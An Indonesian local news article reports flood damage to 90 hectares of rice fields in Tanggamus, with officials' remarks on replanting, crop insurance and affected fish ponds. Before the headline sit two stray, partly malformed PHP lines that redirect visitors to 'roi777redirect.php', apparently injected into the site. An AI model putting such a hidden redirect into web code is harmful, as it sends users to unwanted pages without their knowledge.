header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); 90 Ha Sawah Terendam Banjir -
90 Ha Sawah Terendam Banjir

Verifikasi Dampak Banjir oleh DPTPH Tanggamus

TRANSLAMPUNG.COM, KOTAAGUNG-Dinas Pertanian Tanaman dan Hortikultura (DPTPH) Tanggamus menyatakan hasil verifikasi lahan pertanian padi yang terdampak banjir Minggu (21/2), yaitu 50 hektare (ha) di Kecamatan Wonosobo dan 40 ha di Kecamatan Semaka.

Sekretaris Dinas PTPH Djoko Prabowo mewakili Kepala Dinas PTPH Soni Isnaini, banjir di lahan pertanian hanya melanda dua kecamatan tersebut. Hasil verifikasi disimpulkan, banjir terparah di lahan pertanian terjadi di Pekon Dadimulyo dan Kalisari untuk Kecamatan Wonosobo.

“Lalu di Pekon Kacapura untuk di Kecamatan Semaka. Selain itu tidak ada,” terang Djoko, kemarin (28/2).

Dia menambahkan banjir yang menggenangi sawah, termasuk golongan ringan. Karena air surut antara kurun waktu satu sampai tiga hari. Banjir pun tidak terlalu merusak tanaman padi, sebab materi banjir hanya air, tidak ada lumpur atau benda lainnya. Sehingga tanaman bisa dipertahankan meskipun tetap ada yang rusak.

“Seperti di Kecamatan Wonosobo, usia tanaman padi satu sampai tujuh hari, atau tanaman baru. Maka bisa diganti dengan sistem tambal-sulam. Bibit yang rusak dibuang dan tempatnya ditanami lagi dengan bibit baru,” ujar Djoko.

Sedangkan di Kecamatan Semaka, umumnya padi sudah berbuah, dengan usia tanaman 50 sampai 70 hari. Kerusakan tidak mungkin diganti dengan bibit baru. Untuk itu dipertahankan sampai buah padi masak. Teknisnya bisa dengan mengikatkan tanaman satu dengan tanaman lain supaya tanaman tetap bisa berdiri. Sebab banyak tanaman roboh karena arus air saat banjir. Harapannya cara itu bisa membuat tanaman bertahan dan tidak alami gagal panen.

“Untuk Asuransi Usaha Tani Padi (AUTP) sudah kami usulkan. Tapi sayangnya tidak semua sawah di sana yang terkena banjir, dimasukkan dalam asuransi. Maka kami usahakan kedepan petani di sana seluruhnya masuk AUTP untuk menghindari kerugian karena gagal panen,” ungkap Djoko.

Ia mengaku, untuk penanggulangan asuransi dilakukan setahun berikutnya, seperti di Kecamatan Semaka akan dapat tanggungan asuransi dari banjir tahun lalu. Sedangkan banjir tahun ini baru akan diberi penanggungan tahun depan. Memang sistem penanggungannya seperti itu tidak diberikan langsung. Namun diberikan tahun depan supaya mengurangi beban penanaman tahun berikutnya.

Sebelumnya, beberapa waktu lalu banjir memang menggenangi dua Kecamatan Wonosobo dan Semaka. Lokasi banjir umumnya daerah persawahan dan di Kecamatan Semaka banjir juga menggenangi sekitar 50 ha tambak ikan bandeng dan udang. Untuk hal ini Dinas Perikanan tidak mengganti langsung, namun diserahkan ke Badan Penggulangan Bencana Daerah (BPBD) Tanggamus.

“Sedangkan Dinas Perikanan hanya memberikan data petambak dan luasan areal tambak yang terdampak banjir,” tandas Djoko.(ayp)

News Reporter